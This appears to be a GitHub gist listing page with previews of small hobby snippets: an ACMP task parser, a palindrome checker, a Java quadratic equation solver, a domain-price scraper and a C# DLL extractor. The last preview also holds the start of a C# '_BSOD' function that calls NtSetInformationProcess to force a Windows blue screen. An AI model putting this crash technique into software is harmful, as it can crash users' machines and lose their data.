Skip to content

Instantly share code, notes, and snippets.

View NuarkNoir's full-sized avatar
👀
hello there

Andrew NuarkNoir

👀
hello there
View GitHub Profile
@NuarkNoir
NuarkNoir / acmp_parser.py
Created November 29, 2017 07:07
ACMP Tasks parser
from bs4 import BeautifulSoup as bs
import requests
import jsonpickle
class ACMP(object):
def __init__(self, task_array):
self.tasks = task_array
class Task(object):
def __init__(self, id, title, topic, solution, difficulty, solvability, accepted):
@NuarkNoir
NuarkNoir / palyndrome.py
Created November 29, 2017 05:33
Very shor palyndrome string checker
s=input()
print('YNEOS'[s!=s[::-1]::2])
@NuarkNoir
NuarkNoir / EquationSolver.java
Last active November 1, 2017 13:52
Класс для решения квадратных уравнений
package xyz.nuark;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author Nuark
* @version 1.0
*
* Класс, который решает квадратные уравнения.
@NuarkNoir
NuarkNoir / prices.py
Created October 28, 2017 03:03
Generating csv file(with name, cost, valute sign, etc.) from regru domains list
from bs4 import BeautifulSoup as bs
import requests
def main():
print("Connecting to regru...")
url = "https://www.reg.ru/company/prices"
doc = bs(requests.get(url).content, "html5lib")
doms = doc.select("div.b-table-tlds__wrapper")
lists = doc.select("li.tooltip")
domensarray = [["Domain", "International", "Discount", "End price", "Valute"]]
@NuarkNoir
NuarkNoir / LibExtractor
Last active October 28, 2017 03:05
Если нет библиотеки, то она достаётся из ресурсов
if (!File.Exists("Newtonsoft.Json.dll"))
{
byte[] resf;
resf = Properties.Resources.Newtonsoft_Json;
File.WriteAllBytes("Newtonsoft.Json.dll", resf);
}
using System.Diagnostics;
using System.Runtime.InteropServices;
[DllImport("ntdll.dll")]
public static extern int NtSetInformationProcess(IntPtr p, int c, ref int i, int l);
void _BSOD()
{
Process p = Process.GetCurrentProcess();
int g = 1;